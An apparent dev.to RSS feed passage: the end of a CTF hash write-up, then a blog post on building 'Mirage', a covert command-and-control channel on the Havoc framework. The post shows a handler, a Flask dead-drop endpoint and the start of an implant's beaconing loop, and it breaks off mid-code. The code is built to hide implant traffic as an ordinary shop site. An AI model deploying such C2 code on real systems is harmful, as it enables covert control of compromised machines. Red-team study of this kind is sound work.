&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;djb2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;iUbh81!j*hn!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="c1"&gt;# we get 15237662580160011234 as output
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;pasting this string as our hash we successfully get the flag&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ni5rnoop5qjrcut9tx9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ni5rnoop5qjrcut9tx9.png" alt=" " width="565" height="353"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>I Built a Hidden C2 Channel in Python With Havoc &amp; It Was Easier Than I Expected</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Tue, 09 Jun 2026 07:28:58 +0000</pubDate>
      <link>https://dev.to/deoxys/i-built-a-hidden-c2-channel-in-python-with-havoc-it-was-easier-than-i-expected-3l4o</link>
      <guid>https://dev.to/deoxys/i-built-a-hidden-c2-channel-in-python-with-havoc-it-was-easier-than-i-expected-3l4o</guid>
      <description>&lt;p&gt;Most people think building a C2 server is some kind of dark arts only performed by elite level hackers. In reality, its actually pretty simple if you know basic python HTTP libraries you can most likely design yourself a working custom C2 channel. I know because I just did it and I'm an average college cybersecurity enthusiast.&lt;/p&gt;

&lt;p&gt;Before go into major details, lets get into some fundamentals (I'll try not to make it boring)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff53oz3ui3nv6xq8hfrn7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff53oz3ui3nv6xq8hfrn7.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Basic Fundamentals
&lt;/h1&gt;

&lt;h2&gt;
  
  
  What is a C2 (Command &amp;amp; Control) Server?
&lt;/h2&gt;

&lt;p&gt;Let's understand the concept of C2 server through an analogy.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmk0rvmimdldio0msznrw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmk0rvmimdldio0msznrw.png" alt=" " width="685" height="277"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The Underground Drop: How C2 (Command and Control) Servers Actually Work
&lt;/h3&gt;

&lt;p&gt;Most people think C2 infrastructure is some advanced spy-level operation only nation state threat actors touch. Its not. Its just a synchronized anonymous delivery system hiding in plain sight, and once you get the mental model down it actually makes a lot of sense. Here is the analogy I used to wrap my head around it.&lt;/p&gt;

&lt;h3&gt;
  
  
  The four players involved
&lt;/h3&gt;

&lt;h3&gt;
  
  
  The Designer (Attacker)
&lt;/h3&gt;

&lt;p&gt;You sit in a hidden workshop. You never talk to anyone directly. You just write orders, things like "check what files are here" or "tell me what user is logged in", and leave them in an outgoing tray on your desk.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Storefront (C2 Server)
&lt;/h3&gt;

&lt;p&gt;Looks like a completely normal website from the outside. But tucked in the back room are two secret drawers. One for leaving new orders. One for picking up results. The storefront does not know who the designer is, does not know who the buyers are. It just holds envelopes.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Courier (Handler/Listener)
&lt;/h3&gt;

&lt;p&gt;Because the designer never leaves the workshop, a courier handles the commute. They check the outgoing tray, run to the storefront, slip the order into the back room drawer, and check if anything was left behind. If something is there, they carry it back.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Buyer (Implant)
&lt;/h3&gt;

&lt;p&gt;This is the collector already moving through the city, the malware running on the compromised machine. Every few seconds they casually stroll past the storefront, check the back room drawer, and if an order is waiting they go execute it and drop the results back for the courier to collect.&lt;/p&gt;

&lt;p&gt;To summarise Command and Control (C2) is the bidirectional lifecycle of an intrusion. Command is the top-down transmission of malicious intent (the Designer writing an order and the Courier delivering it to the drawer). Control is the bottom-up persistence and feedback loop (the Implant executing the order, returning the stolen data, and checking back infinitely for the next task). The C2 Server (Storefront) is the blind, neutral ground that allows this loop to happen without the target ever discovering where the workshop is hidden.&lt;/p&gt;

&lt;p&gt;Hackers often times set up their C2 server on the infected victim device in order to execute commands and exploit it. This way they can also spy on a large number of computer devices as well.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2se3eexzuee6zreic6a8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2se3eexzuee6zreic6a8.png" alt=" " width="692" height="464"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What is a C3 (Command, Control &amp;amp; Communication) server?
&lt;/h2&gt;

&lt;p&gt;A C3 server is just a custom implementation of a C2 server, its basically used to implement the most important factor "security" on top of the C2 server which makes it extremely stealthy. Lets take the help of the same analogy.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Disguise Layer (C3 Channel)
&lt;/h3&gt;

&lt;p&gt;This is not a new person in your network. It is the specialized tradecraft, the specific disguises, and the hidden routes used by your existing players to make sure the town guards never catch on to the operation. While C2 sets up the business, C3 is the camouflage that keeps it invisible.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Secret Code (Data Serialization)
&lt;/h3&gt;

&lt;p&gt;The buyer and courier do not walk around carrying plain text notes that say execute command. They translate every single message into a highly specific shorthand cipher. They wrap their letters in custom headers and convert the entire package into an innocent-looking string of text. To anyone snooping, it looks like random cargo data, not operational commands.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Curated Display (Transport Obfuscation)
&lt;/h3&gt;

&lt;p&gt;The storefront hides its secret drawers behind a high-end storefront styled with premium typography and artwork. When the buyer stops by, they blend in perfectly with standard foot traffic. To a lookout watching the street, the buyer simply looks like a regular customer browsing a public luxury imports catalog, completely masking the secret exchange happening in the back drawer.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Alternative Routes (Pluggable Channels)
&lt;/h3&gt;

&lt;p&gt;The best part of this setup is that the transport method is entirely swappable. If the guards start watching the anime storefront, the designer does not rewrite the business model. They just tell the courier and buyer to switch routes. Instead of the shop drawer, they start hiding their coded notes inside the public comments of a community bulletin board or tucked inside an ordinary corporate complaints mailbox. The orders stay exactly the same, but the tracking trail completely vanishes.&lt;/p&gt;

&lt;h1&gt;
  
  
  The Backbone: Setting Up the Havoc Framework
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff6on66btfgwpags7npu8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff6on66btfgwpags7npu8.png" alt=" " width="686" height="386"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before diving into the custom stealth mechanics, you need a solid core engine to handle the heavy lifting. For this project, that backbone is Havoc. Now a simple question may arise in your mind, why do we need to use Havoc?&lt;/p&gt;

&lt;p&gt;Let's be real: building a full-scale C2 framework from scratch is a massive, time-consuming headache. You have to manually code session databases, design a multi-user interactive console, handle complex task queues, and write code generation engines just to get a basic connection. It makes way more sense to use Havoc because it provides a highly stable, ready to go engine out of the box, allowing you to focus your energy entirely on the fun part: custom stealth mechanics.&lt;/p&gt;

&lt;p&gt;Havoc gives you a powerful multi-session Teamserver backend, an interactive management console, a built-in script builder, and an official Service API that allows developers to register and manage completely custom agent types natively.&lt;/p&gt;

&lt;p&gt;In order to use the havoc framework, we would need to download it using the github repo:&lt;br&gt;
&lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/HavocFramework" rel="noopener noreferrer"&gt;
        HavocFramework
      &lt;/a&gt; / &lt;a href="https://github.com/HavocFramework/Havoc" rel="noopener noreferrer"&gt;
        Havoc
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      The Havoc Framework
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div&gt;
  &lt;a rel="noopener noreferrer" href="https://github.com/HavocFramework/Havoc/assets/Havoc.png"&gt;&lt;img width="125px" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2FHavocFramework%2FHavoc%2FHEAD%2Fassets%2FHavoc.png"&gt;&lt;/a&gt;
  &lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Havoc&lt;/h1&gt;
&lt;/div&gt;
  &lt;br&gt;
  &lt;p&gt;&lt;i&gt;Havoc is a modern and malleable post-exploitation command and control framework, created by &lt;a href="https://twitter.com/C5pider" rel="nofollow noopener noreferrer"&gt;@C5pider&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;
  &lt;br&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/HavocFramework/Havoc/assets/Screenshots/FullSessionGraph.jpeg"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2FHavocFramework%2FHavoc%2FHEAD%2Fassets%2FScreenshots%2FFullSessionGraph.jpeg" width="90%"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a rel="noopener noreferrer" href="https://github.com/HavocFramework/Havoc/assets/Screenshots/MultiUserAgentControl.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2FHavocFramework%2FHavoc%2FHEAD%2Fassets%2FScreenshots%2FMultiUserAgentControl.png" width="90%"&gt;&lt;/a&gt;&lt;br&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Quick Start&lt;/h3&gt;
&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;Please see the &lt;a href="https://github.com/HavocFramework/Havoc/wiki" rel="noopener noreferrer"&gt;Wiki&lt;/a&gt; for complete documentation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Havoc works well on Debian 10/11, Ubuntu 20.04/22.04 and Kali Linux. It's recommended to use the latest versions possible to avoid issues. You'll need a modern version of Qt and Python 3.10.x to avoid build issues.&lt;/p&gt;
&lt;p&gt;See the &lt;a href="https://havocframework.com/docs/installation" rel="nofollow noopener noreferrer"&gt;Installation&lt;/a&gt; docs for instructions. If you run into issues, check the &lt;a href="https://github.com/HavocFramework/Havoc/wiki#known-issues" rel="noopener noreferrer"&gt;Known Issues&lt;/a&gt; page as well as the open/closed &lt;a href="https://github.com/HavocFramework/Havoc/issues" rel="noopener noreferrer"&gt;Issues&lt;/a&gt; list.&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Features&lt;/h3&gt;
&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h4 class="heading-element"&gt;Client&lt;/h4&gt;

&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;Cross-platform UI written in C++ and Qt&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Modern, dark theme based on &lt;a href="https://draculatheme.com/" rel="nofollow noopener noreferrer"&gt;Dracula&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="markdown-heading"&gt;
&lt;h4 class="heading-element"&gt;Teamserver&lt;/h4&gt;

&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;Written in Golang&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Multiplayer&lt;/li&gt;
&lt;li&gt;Payload generation (exe/shellcode/dll)&lt;/li&gt;
&lt;li&gt;HTTP/HTTPS listeners&lt;/li&gt;
&lt;li&gt;Customizable C2 profiles&lt;/li&gt;
&lt;li&gt;External C2&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="markdown-heading"&gt;
&lt;h4 class="heading-element"&gt;Demon&lt;/h4&gt;

&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;Havoc's flagship agent written in C and ASM&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Sleep Obfuscation via &lt;a href="https://github.com/Cracked5pider/Ekko" rel="noopener noreferrer"&gt;Ekko&lt;/a&gt;, Ziliean or &lt;a href="https://github.com/SecIdiot/FOLIAGE" rel="noopener noreferrer"&gt;FOLIAGE&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;x64 return address spoofing&lt;/li&gt;
&lt;li&gt;Indirect Syscalls for Nt* APIs&lt;/li&gt;
&lt;li&gt;SMB support&lt;/li&gt;
&lt;li&gt;Token vault&lt;/li&gt;
&lt;li&gt;Variety of built-in post-exploitation commands&lt;/li&gt;
&lt;li&gt;Patching…&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/HavocFramework/Havoc" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;I won't go too much into detail on how to download it and set it up, because someone already wrote a medium article about it. The writer also talked more in depth about C2 frameworks, highly recommend you to read the &lt;a href="https://medium.com/@redfanatic7/what-is-c2-framework-installation-guide-0710a431a801" rel="noopener noreferrer"&gt;article&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Mirage: My C3 Server Extension Layer Hiding in Plain Sight
&lt;/h1&gt;

&lt;p&gt;So after going over the havoc framework we can now dive into how I built my hidden C2 server. So lets get started officially.&lt;/p&gt;

&lt;p&gt;Mirage is the name of my custom C3 (Custom Communication Channel) built on top of the Havoc C2 Framework. It routes agent traffic covertly through a public-facing website turning ordinary HTTP endpoints into a fully functional command and control channel.&lt;/p&gt;

&lt;p&gt;Before I get started here's my github repo for the Mirage project so you can check it out &lt;a href="https://github.com/EpicNerdGuy/mirage" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Let's start with the project structure so you know what we're working with before diving into the architecture.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mirage/
├── main.py        # Flask website + hidden dead drop endpoints
├── agent.py       # The implant that runs on the victim machine
├── handler.py     # Registers custom agent with Havoc + handles 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Architectural Breakdown of My Mirage Setup
&lt;/h2&gt;

&lt;p&gt;Firstly we have a public facing web server which is assumed to be compromised and runs agent.py, which sets up secret memory drawers (&lt;code&gt;/api/telemetry and /api/sync&lt;/code&gt;) behind a normal looking website which is hosted on &lt;code&gt;localhost:4696&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This means the front end interface acts as a perfect decoy, letting regular users browse while the back end endpoints function as an asynchronous mailbox queue where commands and results can sit safely without a direct connection.&lt;/p&gt;

&lt;p&gt;The website is built using simple flask in main.py, you can customise and build the website however you want. Because the core routing relies on standard Python dictionaries and web deques, you can wrap any layout, HTML templates, or CSS styling around it. &lt;/p&gt;

&lt;p&gt;For this specific build, I styled it as a clean, minimal Tokyo anime import shop complete with custom typography to ensure any passive network analysis just sees standard web traffic to a digital catalog.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmi1ajbicln35tfpy1uxf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmi1ajbicln35tfpy1uxf.png" alt=" " width="799" height="445"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's see how each component of our Havoc C2 framework interacts with the compromised website with the help of below flow chart.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb0w9i243906slv07vgo5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb0w9i243906slv07vgo5.png" alt=" " width="800" height="299"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  The Data Lifecycle: Step by Step Command Flow
&lt;/h2&gt;

&lt;p&gt;Every time an operator interacts with the terminal session, the data takes a structured, asynchronous journey through the pipeline&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;1. Command Generation:&lt;/strong&gt; The operator types an operational command (like &lt;code&gt;shell ls&lt;/code&gt;) directly into the interactive &lt;strong&gt;Havoc Teamserver&lt;/strong&gt; session tab.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2. Task Queuing:&lt;/strong&gt; The core Havoc client registers the user input and queues it up internally as a pending tasking frame.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8rgkrjsw6heab5q0cn6x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8rgkrjsw6heab5q0cn6x.png" alt=" " width="799" height="418"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;3. Websocket Interception:&lt;/strong&gt; Operating over Havoc's native Service API, &lt;code&gt;handler.py&lt;/code&gt; receives the tasking package instantly via an authenticated websocket connection.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;Havoc_python&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;python&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getpid&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Connect to Havoc service API&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;havoc_service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;HavocService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wss://127.0.0.1:40056/service-endpoint&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;service-password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Register agent with Havoc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;havoc_service&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;register_agent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Havoc_python&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;poller&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Havoc_python&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_poll_flask&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;daemon&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;poller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Poller thread started&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;4. The Drop-Off:&lt;/strong&gt; The handler serializes the command, encodes it into a Base64 block, and pushes it up to the &lt;strong&gt;Compromised Website&lt;/strong&gt; via a &lt;code&gt;POST /api/sync&lt;/code&gt; request.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/api/sync&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;listener_upload&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;listener_to_agent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;jsonify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ok&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;5. The Asynchronous Poll:&lt;/strong&gt; On its own distinct sleep interval, &lt;code&gt;agent.py&lt;/code&gt; on the target machine beacons out to pull down requested commands.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;    &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="n"&gt;agentid&lt;/span&gt;
    &lt;span class="n"&gt;agentid&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_random_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sleeptime&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="n"&gt;registered&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
    &lt;span class="n"&gt;outputdata&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;registered&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;registered&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;registered&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;register&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
